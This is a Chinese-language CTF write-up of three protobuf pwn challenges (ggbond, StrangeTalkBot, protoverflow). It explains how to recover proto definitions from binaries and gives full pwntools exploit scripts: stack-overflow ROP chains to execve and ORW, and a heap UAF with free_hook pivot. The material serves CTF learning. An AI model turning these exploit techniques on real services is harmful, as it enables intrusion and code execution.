protobuf pwn
准备工作
安装protobuf编译器
sudo apt-get install libprotobuf-dev protobuf-compiler
安装python依赖库
pip3 install grpcio
pip3 install grpcio-tools googleapis-common-protos
安装pbtk
git clone https://github.com/marin-m/pbtk
ggbond
来自DubheCTF2024的一道GO protobuf题
提取proto文件
如果pbtk的图形化界面打不开,也可以用命令行,切换到pbtk的extractors目录下,输入下面命令进行提取
./from_binary.py input_file [output_dir]
得到ggbond.proto
syntax = "proto3";package GGBond;option go_package = "./;ggbond";service GGBondServer {rpc Handler(Request) returns (Response);
}message Request {oneof request {WhoamiRequest whoami = 100;RoleChangeRequest role_change = 101;RepeaterRequest repeater = 102;}
}message Response {oneof response {WhoamiResponse whoami = 200;RoleChangeResponse role_change = 201;RepeaterResponse repeater = 202;ErrorResponse error = 444;}
}message WhoamiRequest {}message WhoamiResponse {string message = 2000;
}message RoleChangeRequest {uint32 role = 1001;
}message RoleChangeResponse {string message = 2001;
}message RepeaterRequest {string message = 1002;
}message RepeaterResponse {string message = 2002;
}message ErrorResponse {string message = 4444;
}
切到.proto文件的目录,输入下面命令
python3 -m grpc_tools.protoc -I . --python_out=. --grpc_python_out=. ggbond.proto
编译得到py文件
分析程序逻辑
IDA定位到程序main_main入口
grpc创建服务这里能看到ptr_main_server,跟进可以发现main__ptr_server_Handler,结合proto文件可知这个是rpc业务逻辑处理函数,也就是我们主要分析的代码
根据逆向可以得到程序的大致逻辑:
程序有三种消息格式:
- Whoami:打印当前的规则
- RoleChange:更改当前的规则(一共有四种规则,0到3)
- Repeater:发送信息 ,但仅在规则3下服务器才处理收到的信息
导入依赖文件,写出交互函数
import grpc
import ggbond_pb2
import ggbond_pb2_grpc
import base64
channel_port = "127.0.0.1:23334"def who():channel = grpc.insecure_channel(channel_port)stub = ggbond_pb2_grpc.GGBondServerStub(channel)request = ggbond_pb2.Request()request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())response = stub.Handler(request)print("Response from Handler:", response)def Role(ty):channel = grpc.insecure_channel(channel_port)stub = ggbond_pb2_grpc.GGBondServerStub(channel)request = ggbond_pb2.Request()request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))response = stub.Handler(request)print("Response from Handler:", response)def Rep(data):channel = grpc.insecure_channel(channel_port)stub = ggbond_pb2_grpc.GGBondServerStub(channel)request = ggbond_pb2.Request()request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))stub.Handler(request)
接下来我们看规则3下服务器是如何处理发送的信息的
将发送的信息base64解码之后有个栈上的copy,很明显这里有溢出,v47指向栈上的变量v73,得到溢出偏移为0xC8
接下来就是常规go题的ret2syscall了
exp脚本
提供了shell和ORW两种打法
from pwn import *
import grpc
import ggbond_pb2
import ggbond_pb2_grpc
import base64
channel_port = "127.0.0.1:23334"def who():channel = grpc.insecure_channel(channel_port)stub = ggbond_pb2_grpc.GGBondServerStub(channel)request = ggbond_pb2.Request()request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())response = stub.Handler(request)print("Response from Handler:", response)def Role(ty):channel = grpc.insecure_channel(channel_port)stub = ggbond_pb2_grpc.GGBondServerStub(channel)request = ggbond_pb2.Request()request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))response = stub.Handler(request)print("Response from Handler:", response)def Rep(data):channel = grpc.insecure_channel(channel_port)stub = ggbond_pb2_grpc.GGBondServerStub(channel)request = ggbond_pb2.Request()request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))stub.Handler(request)context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./ggbond"
p = process(file)
elf = ELF(file)#gdb.debug(file, "b *0x7EE028\nb *0x7ED9D9")Role(3)
rax = 0x00000000004101e6
rdi = 0x0000000000401537
rsi = 0x0000000000422398
rdx = 0x0000000000461bd1
syscall = 0x000000000040452c# ROPgadget --string "flag\x00" --binary ggbond
flag = 0x00000000007f95ba
buf = elf.bss(0x800)# system
rop = b'a'*0x68 + b'\x00'*0x60
rop += p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)
rop += p64(rax) + p64(59) + p64(rdi) + p64(buf) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)# ORW
""" rop = b'a'*0xc8
rop += p64(rax) + p64(2) + p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)
rop += p64(rax) + p64(0) + p64(rdi) + p64(8) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)
rop += p64(rax) + p64(1) + p64(rdi) + p64(1) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall) """p.send('/bin/sh\x00')
try:Rep(base64.b64encode(rop))
except:p.interactive()
StrangeTalkBot
一道CISCN2023初赛的C protobuf堆题,我觉得难点更多是在逆向部分(还原proto内容)
还原proto文件
查看主函数
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{unsigned __int64 v3; // [rsp+0h] [rbp-10h]char *v4; // [rsp+8h] [rbp-8h]sub_1763();while ( 1 ){memset(byte_A060, 0, sizeof(byte_A060));puts("You can try to have friendly communication with me now: ");v3 = read(0, byte_A060, 0x400uLL);v4 = sub_192D(0LL, v3, byte_A060);if ( !v4 )break;sub_155D(*(v4 + 3), *(v4 + 4), *(v4 + 5), *(v4 + 6), *(v4 + 7));}sub_1329();
}
循环read读到byte_A060,然后函数sub_192D处理读入的字节。跟进可以发现sub_192D就是解析protobuf字节流的函数,返回对应的C结构体
为了理解protobuf在c是如何工作的,我下载了protobuf-c编译器以及protobuf-c的git项目(这里是为了获得一些关键的头文件定义
sudo apt install protobuf-c-compiler
git clone https://github.com/protobuf-c/protobuf-c.git
接着我定义了一个测试proto文件并编译得到.h和.c文件
syntax = "proto2";message testMessage {required string name = 1;required sint64 id = 2;required bytes buffer = 3;required uint32 size = 4;
}
test.pb-c.h
/* Generated by the protocol buffer compiler. DO NOT EDIT! */
/* Generated from: test.proto */#ifndef PROTOBUF_C_test_2eproto__INCLUDED
#define PROTOBUF_C_test_2eproto__INCLUDED#include <protobuf-c/protobuf-c.h>PROTOBUF_C__BEGIN_DECLS#if PROTOBUF_C_VERSION_NUMBER < 1000000
# error This file was generated by a newer version of protoc-c which is incompatible with your libprotobuf-c headers. Please update your headers.
#elif 1003003 < PROTOBUF_C_MIN_COMPILER_VERSION
# error This file was generated by an older version of protoc-c which is incompatible with your libprotobuf-c headers. Please regenerate this file with a newer version of protoc-c.
#endiftypedef struct _TestMessage TestMessage;/* --- enums --- *//* --- messages --- */struct _TestMessage
{ProtobufCMessage base;char *name;int64_t id;ProtobufCBinaryData buffer;uint32_t size;
};
#define TEST_MESSAGE__INIT \{ PROTOBUF_C_MESSAGE_INIT (&test_message__descriptor) \, NULL, 0, {0,NULL}, 0 }/* TestMessage methods */
void test_message__init(TestMessage *message);
size_t test_message__get_packed_size(const TestMessage *message);
size_t test_message__pack(const TestMessage *message,uint8_t *out);
size_t test_message__pack_to_buffer(const TestMessage *message,ProtobufCBuffer *buffer);
TestMessage *test_message__unpack(ProtobufCAllocator *allocator,size_t len,const uint8_t *data);
void test_message__free_unpacked(TestMessage *message,ProtobufCAllocator *allocator);
/* --- per-message closures --- */typedef void (*TestMessage_Closure)(const TestMessage *message,void *closure_data);/* --- services --- *//* --- descriptors --- */extern const ProtobufCMessageDescriptor test_message__descriptor;PROTOBUF_C__END_DECLS#endif /* PROTOBUF_C_test_2eproto__INCLUDED */
test.pb-c.c
/* Generated by the protocol buffer compiler. DO NOT EDIT! */
/* Generated from: test.proto *//* Do not generate deprecated warnings for self */
#ifndef PROTOBUF_C__NO_DEPRECATED
#define PROTOBUF_C__NO_DEPRECATED
#endif#include "test.pb-c.h"
void test_message__init(TestMessage *message)
{static const TestMessage init_value = TEST_MESSAGE__INIT;*message = init_value;
}
size_t test_message__get_packed_size(const TestMessage *message)
{assert(message->base.descriptor == &test_message__descriptor);return protobuf_c_message_get_packed_size ((const ProtobufCMessage*)(message));
}
size_t test_message__pack(const TestMessage *message,uint8_t *out)
{assert(message->base.descriptor == &test_message__descriptor);return protobuf_c_message_pack ((const ProtobufCMessage*)message, out);
}
size_t test_message__pack_to_buffer(const TestMessage *message,ProtobufCBuffer *buffer)
{assert(message->base.descriptor == &test_message__descriptor);return protobuf_c_message_pack_to_buffer ((const ProtobufCMessage*)message, buffer);
}
TestMessage *test_message__unpack(ProtobufCAllocator *allocator,size_t len,const uint8_t *data)
{return (TestMessage *)protobuf_c_message_unpack (&test_message__descriptor,allocator, len, data);
}
void test_message__free_unpacked(TestMessage *message,ProtobufCAllocator *allocator)
{if(!message)return;assert(message->base.descriptor == &test_message__descriptor);protobuf_c_message_free_unpacked ((ProtobufCMessage*)message, allocator);
}
static const ProtobufCFieldDescriptor test_message__field_descriptors[4] =
{{"name",1,PROTOBUF_C_LABEL_REQUIRED,PROTOBUF_C_TYPE_STRING,0, /* quantifier_offset */offsetof(TestMessage, name),NULL,NULL,0, /* flags */0,NULL,NULL /* reserved1,reserved2, etc */},{"id",2,PROTOBUF_C_LABEL_REQUIRED,PROTOBUF_C_TYPE_SINT64,0, /* quantifier_offset */offsetof(TestMessage, id),NULL,NULL,0, /* flags */0,NULL,NULL /* reserved1,reserved2, etc */},{"buffer",3,PROTOBUF_C_LABEL_REQUIRED,PROTOBUF_C_TYPE_BYTES,0, /* quantifier_offset */offsetof(TestMessage, buffer),NULL,NULL,0, /* flags */0,NULL,NULL /* reserved1,reserved2, etc */},{"size",4,PROTOBUF_C_LABEL_REQUIRED,PROTOBUF_C_TYPE_UINT32,0, /* quantifier_offset */offsetof(TestMessage, size),NULL,NULL,0, /* flags */0,NULL,NULL /* reserved1,reserved2, etc */},
};
static const unsigned test_message__field_indices_by_name[] = {2, /* field[2] = buffer */1, /* field[1] = id */0, /* field[0] = name */3, /* field[3] = size */
};
static const ProtobufCIntRange test_message__number_ranges[1 + 1] =
{{ 1, 0 },{ 0, 4 }
};
const ProtobufCMessageDescriptor test_message__descriptor =
{PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC,"testMessage","TestMessage","TestMessage","",sizeof(TestMessage),4,test_message__field_descriptors,test_message__field_indices_by_name,1, test_message__number_ranges,(ProtobufCMessageInit) test_message__init,NULL,NULL,NULL /* reserved[123] */
};
生成的代码有点冗长,对逆向有帮助的主要在test.pb-c.c文件里面,声明了很多静态全局变量,例如描述消息字段的test_message__field_indices_by_name
数组以及描述消息的全局变量test_message__descriptor
,其中描述消息的全局变量第一个成员是常量PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC
= 0x28AAEEF9,用IDA全局搜索该常量
很明显在我们要找的是在数据段的结果,而在该常量上面就是我们需要的消息字段描述结构体数组
现在我们知道描述消息中单个字段的结构体叫ProtobufCFieldDescriptor
,从这个结构体中我们能提取到ProtobufCLabel
和ProtobufCType
这两个重要的枚举类型,下面的代码同时也给出了ProtobufCFieldDescriptor
的结构体定义,我们将这三个结构体导入到IDA中
enum ProtobufCLabel
{PROTOBUF_C_LABEL_REQUIRED = 0x0, ///< A well-formed message must have exactly one of this field.PROTOBUF_C_LABEL_OPTIONAL = 0x1, ///< A well-formed message can have zero or one of this field (but not///< more than one).PROTOBUF_C_LABEL_REPEATED = 0x2, ///< This field can be repeated any number of times (including zero) in a///< well-formed message. The order of the repeated values will be///< preserved.PROTOBUF_C_LABEL_NONE = 0x3, ///< This field has no label. This is valid only in proto3 and is///< equivalent to OPTIONAL but no "has" quantifier will be consulted.
};enum ProtobufCType
{PROTOBUF_C_TYPE_INT32 = 0x0, ///< int32PROTOBUF_C_TYPE_SINT32 = 0x1, ///< signed int32PROTOBUF_C_TYPE_SFIXED32 = 0x2, ///< signed int32 (4 bytes)PROTOBUF_C_TYPE_INT64 = 0x3, ///< int64PROTOBUF_C_TYPE_SINT64 = 0x4, ///< signed int64PROTOBUF_C_TYPE_SFIXED64 = 0x5, ///< signed int64 (8 bytes)PROTOBUF_C_TYPE_UINT32 = 0x6, ///< unsigned int32PROTOBUF_C_TYPE_FIXED32 = 0x7, ///< unsigned int32 (4 bytes)PROTOBUF_C_TYPE_UINT64 = 0x8, ///< unsigned int64PROTOBUF_C_TYPE_FIXED64 = 0x9, ///< unsigned int64 (8 bytes)PROTOBUF_C_TYPE_FLOAT = 0xA, ///< floatPROTOBUF_C_TYPE_DOUBLE = 0xB, ///< doublePROTOBUF_C_TYPE_BOOL = 0xC, ///< booleanPROTOBUF_C_TYPE_ENUM = 0xD, ///< enumerated typePROTOBUF_C_TYPE_STRING = 0xE, ///< UTF-8 or ASCII stringPROTOBUF_C_TYPE_BYTES = 0xF, ///< arbitrary byte sequencePROTOBUF_C_TYPE_MESSAGE = 0x10, ///< nested message
};struct ProtobufCFieldDescriptor {/** Name of the field as given in the .proto file. */const char *name;/** Tag value of the field as given in the .proto file. */uint32_t id;/** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */ProtobufCLabel label;/** The type of the field. */ProtobufCType type;/*** The offset in bytes of the message's C structure's quantifier field* (the `has_MEMBER` field for optional members or the `n_MEMBER` field* for repeated members or the case enum for oneofs).*/unsigned quantifier_offset;/*** The offset in bytes into the message's C structure for the member* itself.*/unsigned offset;const void *descriptor; /* for MESSAGE and ENUM types *//** The default value for this field, if defined. May be NULL. */const void *default_value;uint32_t flags;/** Reserved for future use. */unsigned reserved_flags;/** Reserved for future use. */void *reserved2;/** Reserved for future use. */void *reserved3;
};
然后还原消息字段描述结构体数组
由此可以还原出程序的proto文件如下
syntax = "proto2";message Devicemsg {required sint64 actionid = 1;required sint64 msgidx = 2;required sint64 msgsize = 3;required bytes msgcontent = 4;
}
最后用protoc编译该proto文件为py代码
可知sub_192D处理后返回的C语言结构体布局如下
struct _Devicemsg
{ProtobufCMessage base; //这个在IDA导入时可以用 unint64_t base[3]; 代替int64_t actionid;int64_t msgidx;int64_t msgsize;ProtobufCBinaryData msgcontent;
};struct ProtobufCBinaryData {size_t len; /**< Number of bytes in the `data` field. */uint8_t *data; /**< Data bytes. */
};
将该结构体导入IDA,设置main函数v4的类型为Devicemsg*
分析程序逻辑
看NSS讨论区说是2.31-0ubuntu9.9_amd64,glibc all in one没能找到这个版本,所以用的是2.31-0ubuntu9.15_amd64,虽然版本存在小差异,但思路是差不多的
常规的堆题菜单且delete存在UAF
存在这些限制:
- 只能创建 0x21 个堆
- 堆的大小和msgcontent长度不能超过 0xf1
- 程序开启了沙盒禁用了execve调用
因为禁用了execve,所以不能打ogg或者system
利用思路也很清晰:
- 填满tcache然后再free一个堆到unsorted bin,通过UAF leak出libc
- 写free_hook利用magic_gadget进行栈迁移
- 打ORW ROP
exp脚本
from pwn import *def debug(c = 0):if(c):gdb.attach(p, c)else:gdb.attach(p)
def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))#-----------------------------------------------------------------------------------------
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./service"
libc = "./libc.so.6"
#cmd = ""#p = gdb.debug(file, cmd)
p = process(file)
elf = ELF(file)
libc = ELF(libc)
#p = remote("node4.anna.nssctf.cn", 28245)
import message_pb2def add(i,s,c):msg = message_pb2.Devicemsg()msg.actionid = 1msg.msgidx = imsg.msgsize = smsg.msgcontent = csa(': \n',msg.SerializeToString())
def free(i):msg = message_pb2.Devicemsg()msg.actionid = 4msg.msgidx = imsg.msgsize = 0msg.msgcontent = b''sa(': \n',msg.SerializeToString())
def show(i):msg = message_pb2.Devicemsg()msg.actionid = 3msg.msgidx = imsg.msgsize = 0msg.msgcontent = b''sa(': \n',msg.SerializeToString())
def edit(i,c):msg = message_pb2.Devicemsg()msg.actionid = 2msg.msgidx = imsg.msgsize = 0msg.msgcontent = csa(': \n',msg.SerializeToString())for i in range(8):add(i,0xf0,b'')
for i in range(8):free(i)show(7)
rc(0x50)
libc_base = uu64()-0x1ecbe0
lg("libc_base", libc_base)
show(0)
rc(8)
heap_base = uu64() - 0x10
lg('heap_base',heap_base)pop_rdi_ret = libc_base+0x0000000000023b6a
pop_rsi_ret = libc_base+0x000000000002601f
pop_rdx_r12_ret = libc_base+0x0000000000119431
pop_rax_ret = libc_base+0x0000000000036174
syscall_ret = libc_base+0x00000000000630a9payload = p64(libc_base+libc.sym["__free_hook"]) + flat([libc_base+0x0000000000025b9b,0,heap_base+0xad0,pop_rdi_ret,heap_base+0xad0,pop_rsi_ret,0,pop_rdx_r12_ret,0,0,pop_rax_ret,2,syscall_ret, # openpop_rdi_ret,3,pop_rsi_ret,heap_base+0xad0,pop_rdx_r12_ret,0x30,0,pop_rax_ret,0,syscall_ret, # readpop_rdi_ret,1,pop_rax_ret,1,syscall_ret, # write
])
edit(6, payload)
debug("b *$rebase(0x1561)")
payload = flat({0x00: 0x67616c662f2e, # ./flag0x28: libc_base+0x00000000000578c8,0x48: heap_base+0xfa0
}).ljust(0x50, b'\x00')
add(8, 0xf0, payload)
magic_gadget = libc_base+0x15500A
"""
mov rbp, [rdi+48h]
mov rax, [rbp+18h]
lea r13, [rbp+10h]
mov dword ptr [rbp+10h], 0
mov rdi, r13
call qword ptr [rax+28h]
"""
add(9,0xf0,p64(magic_gadget))
free(8)inter()
protoverflow
CISCN2024 华中半决赛的题,C++ protobuf题,题目不难溢出点很明显,可惜当时因为python环境有问题导致没能写出来(哭哭
提取protobuf文件
和GO语言那道一样直接脚本提取得到proto文件
syntax = "proto2";message protoMessage {optional string name = 1;optional string phoneNumber = 2;required bytes buffer = 3;required uint32 size = 4;
}
分析程序逻辑
主函数很简单,先泄露libc然后读取用户输入,再解析protobuf流
之后的处理函数中memcpy存在很明显的栈溢出,直接打ret2libc即可
exp脚本
from pwn import *
import structdef debug(c = 0):if(c):gdb.attach(p, c)else:gdb.attach(p)
def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))#-----------------------------------------------------------------------------------------
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------import message_pb2
context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = './pwn'
p = process([file], env= {"LD_LIBRARY_PATH":"./"})
elf = ELF(file)
libc = ELF(p.libc.path)# debug('b *$rebase(0x332f)')ru(b'0x')
libc_base = int(rc(12), 16) - libc.sym['puts']
lg('libc_base', libc_base)
rdi = libc_base + 0x000000000002a3e5
ret = rdi + 1
system, binsh = get_sb()pl = b'a'*0x218
pl += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
msg = message_pb2.protoMessage()
msg.name="1"
msg.phoneNumber="2"
msg.buffer = pl
msg.size = len(pl)
serialized_msg = msg.SerializeToString()
sd(serialized_msg)
inter()
参考文章:python基础--protobuf的使用(一)_protobuf py-CSDN博客
【Python进阶学习】gRPC的基本使用教程_grpc 同一个链接 保持变量参数-CSDN博客